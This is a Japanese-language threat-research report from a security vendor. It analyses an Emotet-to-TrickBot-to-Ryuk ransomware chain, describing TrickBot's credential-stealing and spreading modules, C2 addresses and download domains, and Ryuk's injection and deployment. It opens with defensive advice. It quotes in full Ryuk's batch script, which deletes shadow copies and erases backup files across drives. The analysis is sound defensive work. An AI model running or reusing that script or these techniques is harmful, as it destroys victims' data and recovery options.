調査・研究者:NOA PINKAS, LIOR ROCHBERGER, AND MATAN ZATZ

サイバーリーズンの Active MonitoringチームとHuntingチームは、「Emotet」のトロイの木馬と「TrickBot」のトロイの木馬を利用して「Ryuk」ランサムウェアを展開し深刻な影響をもたらす新たな脅威を発見しました。過去数週間のあいだに、サイバーリーズンのActive Monitoringチームは、TrickBotのインジェクションを試みる複数のインシデントに遭遇しています。そしてその調査を通じて、このチームは、「Ryuk」ランサムウェアの感染を図る行動もキャッチしたのです。Ryukを展開し実行する際に用いられる戦術、技術、プロシージャ(攻撃の流れ)はインシデントによって性質が異なります。しかし、サイバーリーズンのActive Monitoringチームは、いったんTrickBotに感染したコンピューターがRyukにも感染しやすい状態になっていることを突き止めました。

TrickBotはバンキングトロージャン(銀行の利用者を狙うトロイの木馬)として知られていますが、このレポートの攻撃からわかるように、バンキングトロージャンとしての機能は数多くあるTrickBotの機能の一部にしか過ぎません。この例では、コマンドアンドコントロールサーバーと通信を行って、機密性の高いさまざまなデータを収集し、盗み出しているのです。また、ファイルを暗号化するランサムウェアのRyukをネットワークを通じて展開しており、エンドユーザーの被害が拡大しています。これらの脅威は企業ブランドを失墜させ、組織にも、個人にも損害を与えます。

攻撃に備えるためのアドバイス

  • 不審なメールを受け取ったときに、マルウェアをダウンロードしたり、マルウェアが投下されたりしないよう適切に処理できなければなりません。正しい対処の仕方をチームのメンバーに指導しましょう。
  • ラテラルムーブメントを防ぐためには、特権アカウントは使用しないようにします。また、セッションを正しく終了できない場合、RDPの利用は避けましょう。パスワードはプレーンテキストで保存しないようにし、適切な認証の仕組みを導入するようにします。組織で使用する共有フォルダの場合、必要のないフォルダは無効にします。デフォルトのフォルダ名は変更しましょう。
  • TrickBotなどのマルウェアの拡散を防ぐことができるよう、システムのパッチは必ず適用するようにします。特に、CVE-2017-0144のパッチは重要です。
  • 環境全体において、マクロは無効にしましょう。
  • Microsoftのセキュリティアドバイザリが提供する最新情報をチェックし、組織で使用する認証情報の保護や管理を強化する方法を確認してください。
  • プロアクティブなセキュリティアプローチを行います。具体的にはハンティングを実施して、問題が表面化する前に不審な振舞いを探し出すようにします。
  • このレポートで説明するいずれかのマルウェアが使用した可能性のあるパーシステンスメカニズムが存在する場合にはそのメカニズムを消去し、脅威の影響を緩和します。また、このレポートのような攻撃を受けているのではないかという懸念があれば、「MITRE(マイター)社」のATT&CKを利用して、セキュリティ体制の不備を解消しましょう。

RYUK、TRICKBOT、およびEMOTETの素性

「Ryuk」ランサムウェアの存在が明らかになったのは、2018年8月です。未知の感染手法を用いた標的型攻撃において、初めて検知されました。このランサムウェアは標的を細かく調べ上げ、リモートデスクトップサービスなどの直接的な手法でアクセスを行い、認証情報を盗み出します。

さらには、重要度の高いデータやサーバーを標的にして人質とし、身代金を奪える確率を最大限に高めています。2019年1月には、「Ryuk」ランサムウェアによる攻撃が頻繁に確認されており、この際に標的となったのは、過去にTrickBotの攻撃を受けた被害者でした。

また、最近発見された、Emotet、TrickBot、Ryukによる別の連鎖攻撃は、「Ryuk」ランサムウェアの展開と起動をその目的としていました。この攻撃は、今回の調査・研究で説明する攻撃とは異なっています。このレポートの攻撃では、攻撃の各フェーズごと詳細な情報が残っている点や、TrickBotを使用して機密性の高い情報を窃取してからRyukを展開し標的のデータを人質に身代金を要求しているといった点に違いが見られます。

トロイの木馬は通常、個人を標的として銀行口座の認証情報を窃取しますが、TrickBotのトロイの木馬は、この調査・研究レポートで説明するのと同じ手法で二次的なマルウェア攻撃を行うために使用されています。

しかし、レポートでの攻撃がそれとは異なるのは、TrickBotで機密性の高い情報を盗み出し、Ryukを展開してデータを人質に身代金を要求している点です。攻撃者は大企業を標的にしており、スパムメールを使用してEmotetのトロイの木馬を展開していますが、その目的は、TrickBotのマルウェアを配布することにありました。

TrickBotのマルウェアは、コンピューターに感染すると、機密性の高い情報の窃取を始めます。そして、攻撃者グループは、攻撃の対象が想定する業種の企業であるかどうかを見極め、想定どおりであると判断した場合、「Ryuk」ランサムウェアを展開します。

Emotetは、2014年に発見されました。銀行の取引で使用する認証情報を盗み出すためのトロイの木馬として攻撃者に使用されていたのです。そしてここ最近では、Emotetは、別の高度な機能を有するマルウェアを投下するドロッパーとして使用されるようになっています。

ここ数年でEmotetには、モジュラー構造を使用するいくつかの最新の機能が取り入れられています。このモジュラー構造では、インストールモジュールやバンキングモジュール、DDoSモジュールなど、複数のモジュールが利用できるようになっています。Emotetでは、マルウェアを配布するメインの手段は依然としてフィッシングメールになります。さまざまなソーシャルエンジニアリングのテクニックを使用してユーザーを騙し、悪意のあるリンクをクリックさせたり、不正なMicrosoft Officeのファイルをダウンロードさせたりするのです。

フェーズ1:EMOTETによるTRICKBOTのダウンロード


攻撃の流れ:EmotetがTrickBotを配布し、TrickBotがさらにRyukを展開。
Kryptos Logicのチームが同じトピックに関するブログのために作成したワークフローの図による

攻撃の第一段階は、武器化したMicrosoft Officeのドキュメントをフィッシングメールに添付して送りつけるところから始まります。このファイルには、悪意のあるマクロベースのコードが仕込まれています。ユーザーがドキュメントを開くと、悪意のあるファイルがcmdを実行し、PowerShellコマンドを起動します。PowerShellコマンドは、Emotetのペイロードのダウンロードを試みます。


マクロが組み込まれたMicrosoft Wordのドキュメント

最近行われた攻撃において、サイバーリーズンの調査・研究チームは、TrickBotのバンキングトロージャンを投下するドロッパーとしてEmotetが利用できるようになっていることを突き止めました。情報を窃取するだけであった機能が進化していたのです。

Emotetの実行フローは、outlook.exeがフィッシングメールを受け取ったところから始まります。次に、メールに添付された悪意のある添付ファイルをwinword.exeが開くと、cmdが実行されて、PowerShellが起動します。このコマンドはEmotetのペイロードをダウンロードし、実行します。


Cybereasonのプラットフォームで表示したEmotetのプロセスツリー

このcmdインスタンスには、難読化されたコマンドラインがあります。

CMD Emotetドロッパーの難読化されたコマンドライン

メモリ内でコマンドラインの難易度化が解除されると、コマンドラインはPowershellスクリプトに変換されます。

PowerShell Emotetドロッパーの難読化されたコマンドライン

PowerShellインスタンスは複数のチャンクからダウンロードURLを「構成」してから、別の悪意あるドメインを通じてEmotetのペイロードのダウンロードを試みます。そして、ペイロードに379.exe(SHA1:B521fe7ff72e68165ff767d7dfa868e105d5de8b)という名前を付けてそれを実行します。

PowerShellスクリプトは、以下のドメインからEmotetのペイロードをダウンロードしようと試みます。

  • efreedommaker[.]com
  • retro11legendblue[.]com
  • oussamatravel[.]com
  • cashcow[.]ai
  • shahdazma[.]com


コマンドアンドコントロールサーバーとコネクションを確立し、Emotetのペイロードをダウンロードしようとする様子を、Cybereasonのプラットフォームがキャッチ

Emotetペイロードはいったん実行されると、悪意のある活動を続けようとします。感染を広げ、侵害したコンピューターから情報を集めるのです。そして、あらかじめ構成された悪意のあるリモートホストと通信を行い、そのホストからTrickBotのトロイの木馬をダウンロードして実行します。


Cybereasonのプラットフォームで表示したEmotetのプロセスツリー。
TrickBotを展開するプロセスが確認できる

フェーズ2:ラテラルムーブメント

TrickBotはモジュラー型のトロイの木馬で、自身をメモリ内で解凍します。TrickBotはバンキングトロージャンと呼ばれることが少なくありませんが、そのモジュラー構造により、バンキングデータを収集する以外の新たな機能を自由に追加できるようになっています。バンキングデータを収集するモジュールは、利用可能な数多くあるモジュールの一部にしか過ぎません。

当初、TrickBotはきわめてシンプルでした。しかし年を重ねるごとに機能が向上し、さまざまなモジュールが追加されるようになります。これらのモジュールはパスワードの収集や検知の回避などの高度な機能を備えたものです。

TrickBotは実行されるとC:\user\AppData\Roaming\%Name%の%Name%にインストールフォルダを作成します。フォルダを作成する場所はボットのバージョンによって異なります。このフォルダには、settings.iniファイルという若干名前の異なるマルウェアのコピーと、Dataという名前のフォルダが格納されています。


TrickBotのインストールフォルダ

settings.ini は、エンコードされたBotKeyを格納する難読化されたファイルです。このBotKeyは1分ごとに別のものが生成されます。サイバーリーズンでは、BotKeyを抽出してその暗号を解除することに成功しました。これにより複数のモジュールとその構成ファイルが得られています。


settings.iniの内容

Dataフォルダには、暗号化された悪意のあるモジュールが複数と、それらの構成ファイルが格納されています。


Dataフォルダの内容

パーシステンスが確実に維持されるよう、TrickBotはスケジューリングされたタスクとサービスを作成します。このタスクの名前はマルウェアのバリアントによって異なります。今回のケースでは、名前は\NetvalTaskになります。


スケジューリングされたタスクを使用するTrickBotのパーシステンス

サービスレジストリのエントリ名はランダムに生成され、サービスHive(
\HKLM\System\CurrentControlSet\Services\{Random_name}\imagePath)に置かれます。


レジストリキーを使用するTrickBotのパーシステンス

悪意のあるモジュールはsvchostなどの正規のプロセスに反射的なかたちでインジェクションされており、これによって検知を逃れます。アンチマルウェア製品から検知される確率を減らす目的で、TrickBotは、Windows Defenderを無効にし、削除しようと試みます。


Cybereasonのプラットフォームで表示したTrickBotのプロセスのフロー。
TrickBotがWindows Defenderを無効にするプロセスが確認できる

TRICKBOTの悪意のあるモジュールのローディングと実行

悪意のあるモジュールは、反射的なかたちでsvchostにロードされます。以下に示すのは、個々のモジュールについての説明です。TrickBotの行う悪意のある活動において、それぞれがどのような役割を果たしているのかを解説します。


反射的なかたちでsvchostにロードされるTrickBot のモジュール

MODULE64.DLL

module64.dllはTrickBotのドロッパーです。このドロッパーはTrickBotのローダーであるmswvc.exe(SHA1: f84e0f022a0a263146e94ae3dd38cb5a8534fbfa)をダウンロードし、ローカル、またはネットワーク共有にインストールして、ラテラルムーブメントを行います。

注:このレポートでは、攻撃の内容をわかりやすくするために、mswvc.exe(SHA1: d6ee45108278bc13df1bdcc6280f4daba11e05c5)をtrickbot.exeと書き換えています。

このモジュールは、HTTPを介し、ハードコーディングされたアドレスに接続します。そしてそこから、PNGファイルを装ったペイロードを持つファイルをローカルに作成します。このレポートの例では、マルウェアは、http://192.161.54[.]60/radiance.pngに接続し、そこから、PNGファイルのコンテンツをローカルにダンプしています。


ディストリビューションサーバーに接続しペイロードをダウンロードする様子をCybereasonのプラットフォームで表示

モジュールはPNGペイロードの中身を受け取ると、それをコンピューター上のローカルファイルに書き込みます。また、ペイロードの中身をネットワーク共有にコピーし、その拡散と、ラテラルムーブメントの攻撃の強化を図ります。


TrickBotが拡散に利用するネットワーク共有フォルダ

投下されたファイルは自動起動サービスとして登録され、標的のコンピューター上でTrickBotのために、パーシステンスを確立し、攻撃の足場を築きます。このサービスは、以下の図に示すいずれかの表示名を持ちます。


サービスの表示名


サービスの作成

MODULE.DLL

module.dllは、CookieやHTML5ローカルストレージ、閲覧履歴、Flash Local Shared Object、URLヒットをはじめとしたブラウザのデータを盗みます。TrickBotによってsvchostにインジェクションされたmodule.dllは、標的のデスクトップの仮想インスタンスを非表示のかたちで作成します。

さらに、トンネルを作成し、別のmodule.dllがインジェクションされたほかのsvchostのプロセスを通じてコネクションのリスンを行い、ブラウザのデータを収集します。リスンに使用されるポートは共通です。


svchost.exeにインジェクションされたmodule.dll


Internet Explorerを標的としたプロキシトンネリング


同じポートでリスンする、インジェクションされたsvchost

このモジュールはローカルに保存されたデータベースからデータを抽出し、盗み出します。そして、レジストリエントリやブラウザのプラグイン、ハードコーディングされたSQLiteデータベースをはじめとした機密性の高いデータを別々のアーティファクトを使用して保存します。


module.dllにハードコーディングされたブラウザのレジストリエントリ


Cookieの抽出と窃取に利用されるSQLite


インストールされているプラグインに関する情報の収集

module.dllには、以下の画像もBase64エンコーディングでハードコーディングされていました。

   
Base64でデコードした画像

VNCSRV.DLL

TrickBotは、svchost.exeにインジェクションされた非表示のVNCをリモート管理ツールとして利用します。VNCにより、攻撃者は標的に気付かれることなくリモートで、標的のデスクトップの状態を表示しデスクトップを制御できます。

インジェクションが行われ、vncsrv.dllがロードされたsvchostは、Chromeブラウザのインスタンスを拡散します。このブラウザのインスタンスはブラウザのデフォルトの設定を変更するコマンドを付けて起動されます。この設定変更により、検知を逃れ、セキュリティ防御メカニズムを無効化します。

このケースでは、Chromeのサンドボックスが対象となっています。また、検知を逃れる別の手段として、TrickBotは、オーディオやグラフィックなどのインターフェースとのやり取りを無効にします。これによって、標的のコンピューターのユーザーに存在を気付かれないようにしているのです。さらに、非表示のVNCでは、標的とする金融機関にログインするプロセスを簡素化するために、TrickBotが築いた攻撃の足場を利用しています。


無効にされたChromeブラウザの設定

SOCKS5DLL.DLL

すでに繰り返し述べたように、このモジュールはSOCKSプロトコルでTrickBotのコマンドアンドコントロールサーバーと通信し、標的のホストを通じてデータとコネクションのトンネリングを行います。SOCKS5では、認証処理が新たに行われるため、プロキシトンネリングを利用できるのは、承認されたユーザーだけになります。また、SOCKS5はDNSリクエストのトンネリングをサポートしているので、DNSのリークの脅威が排除されます。

socks5dll.dllには、ハードコーディングされたコマンドアンドコントロールサーバーが存在し、socks5dll.dllはこのサーバーと認証付きのコネクションを確立します。


Cybereason のプラットフォームに表示された、TrickBotのコマンドアンドコントロールサーバーの情報


TrickBotのコマンドアンドコントロールサーバーと接続する様子をCybereasonのプラットフォームで表示

マルウェアはMozilla/5.0のユーザーエージェント(Windows、U、MSIE 9.0、Windows NT 9.0、en-US)を使用し、ハードコーディングされた以下のいずれかのIPからsocks5dll.dllでTrickBotのコマンドアンドコントロールサーバーに接続します。

  • 69.164.196[.]21
  • 107.150.40[.]234
  • 162.211.64[.]20
  • 217.12.210[.]54
  • 89.18.27[.]34
  • 193.183.98[.]154
  • 51.255.167[.]0
  • 91.121.155[.]13
  • 87.98.175[.]85
  • 185.97.7[.]7

SYSTEMINFO.DLL

systemInfo.dllは、標的のマシンが「Ryuk」ランサムウェアを感染させるための基準を満たしているかどうかを攻撃者が判断するのをサポートします。TrickBotはこのモジュールを使用して標的のコンピューターからシステム情報を収集します。この情報により、攻撃者は、マルウェアを感染させたシステムの内容を詳しく把握できるというわけです。systemInfo.dllは、WQLでwin32_Processorに問い合わせを行い、コンピューターのプロセッサの情報やシステムのアーキテクチャの情報を収集します。アーキテクチャが32ビットなのか64ビットであるのかを調査するのです。


systeminfo.dllによるWQLの使用

また、TrickBotは、WindowsのネイティブのAPI関数である、GetNativeSystemInfo()GetSystemInfo()を使用して、コンピューターの詳細情報を収集します。


情報を収集する目的でsysteminfo.dllに利用されるネイティブのWindows API

MAILSEARCHER.DLL

mailsearcher.dllはディスク上のあらゆるファイルを対象として検索を行い、それらファイルの拡張子をあらかじ定義されているリストの情報と突き合わせます。


マルウェアが検索の対象にする拡張子をあらかじめ定義したリスト

また、mailsearcher.dllは、HTTPを介してコマンドアンドコントロールサーバーにデータを送る際に、WinHTTPライブラリを利用します。


WinHTTPライブラリの使用

LOADER.DLL

loader.dllの目的は、ほかのモジュールが確実に反射的なかたちでローディングされるようにすることただそれだけです。

PWGRAB.DLL

pwgrab.dllは、ブラウザやレジストリキー、あるいはOutlookなどのプログラムから、保存されているユーザーの認証情報を収集します。

そして、TrickBotはログインDBをコピーしてユーザー名とパスワードを、また、webdata DBをコピーしてカードの情報を、それぞれ盗み出します。保存されている情報はすべて暗号化されているので、TrickBotは復号のメカニズを使用し、データをプレーンテキストのかたちで保存します。


ChromeのデータベースファイルをコピーするTrickBot

CORE-DLL.DLL

core-dll.dllはTrickBotのメインのボットです。このマルウェアは活動するにあたり、2つの保護レイヤーを取り除く必要があります。このモジュールは暗号化されており、リソースの1つとしてローダー内に格納されています。暗号が解除され解凍されたモジュールは以下のブラウザに反射的なかたちでインジェクションを行い、認証情報を盗み出します。


core-dll.dllで標的になっているブラウザ


反射型DLLインジェクションライブラリのエクスポート

DLL.DLL

TrickBotのリバースシェルモジュールであるdll.dllは、2つの役割を担います。1つ目の役割は、標的のコンピューターの情報を収集するための探索です。2つ目の役割は、Powershell Empireを起動しての探索活動です。そして、その最終的な目的は、Empireのバックドアを実行することにあります。探索を行ううえで、TrickBotはこのDLLを使用し、ipconfigやネットコマンド、nltestなどのコマンドを実行します。


TrickBotの探索活動をCybereasonのプラットフォームで詳細に分析


探索活動の処理を担うフローティングモジュール

すでに説明したように、TrickBotはPowerShell Empireを使用して探索とラテラルムーブメントを行います。dll.dllは、難読化されたPowerShellスクリプトの実行に使用されます。その最終の目的は、Empireのバックドアのダウンロードと起動にあります。

探索活動の一環としてTrickBotは、組織内にあるドメインコントローラーやファイルサーバーなどの資産をInvoke-Portscanを用いて特定、検出します。これらは攻撃者にとって価値のある資産なのです。収集したデータは、標的とする資産を定めて「Ryuk」ランサムウェアを感染させる目的に使用されます。


Powershell EmpireのプロセスツリーをCybereasonのプラットフォームでビジュアル化


ポートスキャンのうち上位のものをCybereasonのプラットフォームで表示

SCREENLOCKER_X64.DLL

screenLocker_x64.dllは、探索のプロセスと認証情報の収集のプロセスにおいて、TrickBotを手助けします。TrickBotによりインジェクションされたsvchost.exeは、explorer.exeに対してインジェクションを行っています。


explorer.exeにインジェクションを行うsvchost.exe

explorer.exeにロードされるモジュールの1つであるscreenLocker_x64.dllは、TrickBot独自と言えるモジュールの1つです。


screenLockerモジュールがexplorer.exeによってロードされたことを裏付けるエビデンス

TrickBotTrickBotはmimikatzのコンポーネントを利用して、標的のコンピューターから認証情報を抽出します。標的とするのは、LSAメモリ内にプレーンテキストで保存されているWDigestの認証情報です。Microsoftは、レジストリエントリ形式のスイッチを追加してこのような攻撃の影響を緩和する方法を導入し、KB2871997KB2928120により、この問題を解決しました。

メモリに格納されているWDigestの認証情報を無効にするには、レジストリエントリの値を0に設定する必要があります。そのため、ユーザーの認証情報をツールが確実に取得できるよう、レジストリエントリがその値を1に設定して有効化されているかどうかの確認が行われます。

そしてさらに、認証情報を首尾よく収集するためには、レジストリが変更された後にユーザーがシステムにログインしなければなりません。認証情報はログインにより、メモリに格納されるからです。ユーザーが確実にシステムにログインするよう、モジュールはユーザーの画面をロックするルーチンを起動します。システムにアクセスするためにログイン認証情報を入力せざるを得ない状況にユーザーを追い込むのです。


ユーザーの画面をロックする処理を担うLockWorkStation関数

WDigestと呼ばれるモジュールのなか(\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest\)にあるハードコーディングされたレジストリエントリには、認証情報が格納されます。


WDigestのレジストリエントリ

このモジュールには、Microsoftのオペレーティングシステムを列挙したリストが格納されています。TrickBotのアクティビティにおいて自身が担う役割を果たす際に、このリストの内容と、標的のコンピューターのオペレーティングシステムを比較するのです。


スクリーンロッカーモジュール内にあるオペレーティングシステムのリスト

標的のユーザーのワークステーションをロックする機能を備えたモジュールの一部は、ファイルのオーバーレイのなかにあります。そして、モジュール内には以下のように、そこにある別のファイルをポイントするインジケータが存在します。


オーバーレイインジケータ

モジュールのファイルのオーバーレイをダンプしてバイナリエディタで開くと、WDigestレジストリエントリや、モジュールがインジェクションされるプロセス(explorer.exe)が含まれていることがわかります。このモジュールはユーザーの認証情報を窃取するために使用されます。


ダンプしたファイルをバイナリエディタで開き、中身を表示


screenLocker_x64.dllのモジュールと関連するインジェクションのフローすべてをCybereasonのプラットフォームで表示

SPREADER_X64.DLL

EternalBlueの脆弱性を悪用した攻撃の拡散と、mimikatzを利用した認証情報の窃取という、TrickBotの主要な2つの機能を担っているのが、spreader_x64.dllです。

Cybereasonのプラットフォームでは、lsassへのアクセス(lsass.exeのメモリをダンプするmimikatzの活動)、フローティング実行コードの存在(DLL spreader_x64.dllの反射的なかたちでのインジェクション)を確認しています。また、内部のコネクションレートが増加していることも掴んでおり、このレートの上昇は、攻撃を拡散するためにスキャンが行われていることを表しています。


Spreader_64.dllが悪意のある活動を行っていることを裏付けるエビデンスをCybereasonのプラットフォームで表示

spreader_x64.dllはEternalBlueの脆弱性を悪用し、SMB(ポート445)経由で攻撃を拡散します。


ポート445を介する接続(EternalBlueの脆弱性を突いた攻撃の一環)をCybereasonのプラットフォームでビジュアル化


spreader_x64.dllバイナリ内のEternalBlueの文字列

spreader_x64.dllには、mimikatzのバイナリも含まれています。spreader_x64.dllは実行されると、コマンドプロンプトのウィンドウを開いてmimikatzを起動し、認証情報をダンプします。

また、ダンプを実行するために、PwDumper_x64.dllが反射的なかたちでsvchostのプロセスにインジェクションされます。


反射的なかたちでsvchost.exeにロードされたPwDumper_x64.dll


spreader_x64.dllバイナリ内のmimikatzの文字列


spreader_x64.dllライブラリ内のmimikatzの文字列

フェーズ3:標的に侵入した後の活動

コンピューターがTrickBotに感染すると、攻撃者は、そのコンピューターが標的として狙っている業界のコンピューターであるかどうかをチェックします。狙い通りのコンピューターであることが判明すると、攻撃者はさらにペイロードをダウンロードするほか、TrickBotで盗み出した管理者の認証情報を使用してラテラルムーブメントを行い、感染の標的とする資産にたどり着きます。

また、攻撃者は、ドメインコントローラーにログインし、一時ディレクトリにツールをコピーしています。これらのツールには、AdFind.exe(Active Directoryの列挙ユーティリティ)、AdFindでアウトプットをテキストファイルに保存するバッチスクリプト、7-Zipアーカイブユーティリティのコピーなどがあります。

環境内にあるドメインコントローラーと標的のサーバーのリストを入手した攻撃者は、ネットワークが利用できるかどうかを、ping.exeとmstsc.exe(RDP)を使ってチェックします。
攻撃者はコネクションを確立すると、Windowsの管理者共有を利用(MITRE社のATT&CKテクニックT1077)して、ネットワーク内にRyukのペイロードを拡散します。これらの共有は、Admin$やIPC$、Share$、C$などの非表示の共有で、Windowsホストにおいて管理上の目的から、デフォルトで有効になっています。

攻撃者は、バッチスクリプトのCOPY.batなど、いくつかのファイルを非表示の共有であるshare$に投下します。このスクリプトには、攻撃者が特定した1つまたは複数の標的のコンピューターと、署名および確認されたpsexec.exeのコピー、RyukのドロッパーであるRyuk.exeが記述されています。攻撃者は.batスクリプトを実行します。このスクリプトでは、盗み取った管理者の認証情報でpsexec.exeファイルを使用し、これにより、リモートシェルにアクセスしたり、悪意のあるRyukのペイロードをリモートホストの一時フォルダにコピーしたりします。対象となるホストは、comps{number}.txtというテキストファイルにリスト化されています。


.batスクリプトが実行される様子をCybereasonのプラットフォームで表示


PsExecのコマンドライン

これらの処理が完了すると、PsExecでRyukのペイロードが実行されます。


悪意のあるメールの送信から始まり、Ryukの実行で完結する攻撃フロー

「RYUK」ランサムウェアの展開

ランサムウェアのドロッパーであるRyuk.exeは、システムのアーキテクチャをチェックし、その内容に応じてメインのペイロードを投下します。


「Ryuk」ランサムウェアの分析:システムアーキテクチャのチェック

WRyuk.exeはペイロードを投下する一方、Srand()関数にもとづき、5文字からなるランダムな名前を生成します。ペイロードはこの名前で特定の場所に保存されます。保存場所は標的のコンピューターにインストールされているOSのバージョンによって異なります。

OSのバージョンがWindows XPより古い場合、ファイルは\Documents and Settings\Default User\に保存されます。一方、標的のコンピューターがこれよりも新しいバージョンのOSを実行している場合、ファイルは\Users\Public\に保存されます。


「Ryuk」ランサムウェアの分析:標的とするフォルダの選択

さらにドロッパーはネットストップコマンドを使用して、アンチマルウェア製品に関係する複数のサービスを停止します。


「Ryuk」ランサムウェアの分析:ネットストップコマンド

また、タスクキルコマンドを使用して、アンチマルウェア製品に関係する複数のプロセスも停止します。


「Ryuk」ランサムウェアの分析:タスクキルコマンド

Ryukのメインのペイロード(hszuw.exe、SHA1: d78c955173c447cb79fb559de122563d90d5358d)の役割は、ほかのプロセスにインジェクションを行い、レジストリを用いてパーシステンスを確保することにあります。


Ryukのペイロードがパーシステンスを構成する様子をCybereasonのプラットフォームで表示

レジストリキーは、Run Hiveの配下に置かれ、svchosと名前が付けられます。そして、ユーザーが新たにログインするごとにRyukのペイロードを実行する役割を担います。


レジストリキーの作成

このマルウェアは、CreateToolhelp32Snapshot()を使用して、実行されているすべてのプロセスのスナップショットを作成します。そして、Process32First()Process32Next()を用いて、同じ処理を繰り返します。

次にマルウェアは、プロセスのハンドルを、lsass.exe、csrss.exe、およびexplorer.exeのハンドルと比較します。プロセスのハンドルがlsass.exe、csrss.exe、explorer.exeのどの実行ファイルのハンドルとも一致しない場合、マルウェアは悪意のあるペイロードをリモートプロセスにインジェクションします。


「Ryuk」ランサムウェアの分析:プロセスのチェックと実行


「Ryuk」ランサムウェアの分析:例外の作成

以下の例では、ペイロードは、taskhost.exeなどのいくつかのプロセスにインジェクションされています。


リモートプロセスのtaskhost.exeにインジェクションされるRyukのペイロード


taskeng.exeのフローティングPE

Ryukが用いるインジェクションテクニックでは、OpenProcess()を用いて標的のプロセスのハンドルを取得し、VirtualAllocEx()を使用してアドレス空間にバッファを割り当てます。

次に、Ryukは、WriteProcessMemory()を使用して、最新の仮想コンテンツをこのプロセスに書き込みます。また、CreateRemoteThread().を使用して、コードを実行するリモートスレッドを作成します。


Ryukのバイナリでプロセスのインジェクションに使用される関数

このケースでは、インジェクションされたプロセス、taskhost.exeは、マルウェアが投下したバッチファイル(C:\users\Public\window.bat)を実行します。このファイルでは、vssadminを複数回使用し、いくつかのコマンドを削除します。

その目的は、構成を変更しその後にVirtual Shadow Copyを削除することにあります。vssadmin.exeはコマンドラインのツールで、Volume Shadow Copy Service(VSS)を管理します。VSSは、実行されているシステムのバックアップをするために、安定したイメージをキャプチャおよびコピーします。

ランサムウェアは通常、ファイル本体を暗号化する前に、vssadmin.exeを使用して、シャドウコピーなどのファイルのバックアップを削除します。重要なファイルを暗号化されてしまい、その暗号を解除することも、VSSからファイルを復元することもできなくなったユーザーは、暗号を解除するために身代金を支払わざるを得なくなるのです。


window.batスクリプトがvssadminコマンドを大量に発行する様子をCybereasonのプラットフォームで表示

window.batの中身は、以下のようになっています。
vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
del %0
                                
インジェクションを受けたタスクホストが不審な動きをしていたために、Cybereasonのプラットフォームはアラートを発することができました。


Cybereasonのプラットフォームに表示されたランサムウェアのアラート

Ryukはディスク上のファイルを暗号化し、ファイルの拡張子を.RYKに変更します。


Ryukがファイルの拡張子を.RYKに変更

Ryukは、notepad.exeで作成したRyukReadMe.txtという脅迫状のテキストを、処理を行ったフォルダごとに投下します。


脅迫状の作成


Ryukの脅迫状の中身

まとめ

TrickBotはバンキングトロージャンに分類されますが、バンキングトロージャンとしての機能は、数多くあるTrickBotの機能の一部にしか過ぎません。TrickBotは、コマンドアンドコントロールサーバーと通信を行い、銀行の取引で使用する認証情報や、ユーザー名とパスワード、個人情報データといった機密性の高いデータを収集し盗み出します。

このような情報を得た攻撃者は、企業の信用を損ない、企業ブランドを失墜させ、個人を侵害し、企業に金銭的損失をもたらします。しかも容易にそれができてしまうのです。

コンピューターに感染すると、Ryukはファイルの暗号化を開始し、ネットワークに拡散してさらに多くのコンピューターに感染を広げます。この結果、被害が拡大し、感染の被害を受けたユーザーが身代金を支払う確率が高まります。この脅威はその高度な機能と拡散能力により、金銭的な被害から企業ブランドの失墜にいたる大きな損失を組織にもたらすおそれがあります。

サイバーリーズンのお客様では、Cybereasonのプラットフォームの修復ツールを使用してすぐにデータの流出を食い止められたほか、この種の悪意あるファイルが組織内で再度実行されるのを防ぐことができました。

サイバーリーズンのActive MonitoringチームとHuntingチームは、TrickBotに関係する悪意のあるファイルを特定し、同時に、攻撃活動に使われたオペレーションとモジュールも突き止めています。このケースでは、PowerShell Empireフレームワークとmimikatzを用い、EternalBlueの脆弱性を突いて、探索、認証情報の収集、攻撃の拡散が行われていました。

これらの活動はそのどれもが新しいペイロードを配布、展開するためのものであり、このレポートの例では、「Ryuk」ランサムウェアがそのペイロードにあたります。

ホワイトペーパー「すべての組織が狙われている」

企業、組織がどんなにセキュリティを強固にしてもハッカーが悪用できる脆弱性は必ず存在します。侵入されることが避けられないことを受け入れ、新たな対策を立てる必要があります。本書で、なぜ避けられないのか、どのように対処するのかをご覧ください。
https://www.cybereason.co.jp/product-documents/input/?post_id=606

ホワイトペーパー「すべての組織が狙われている」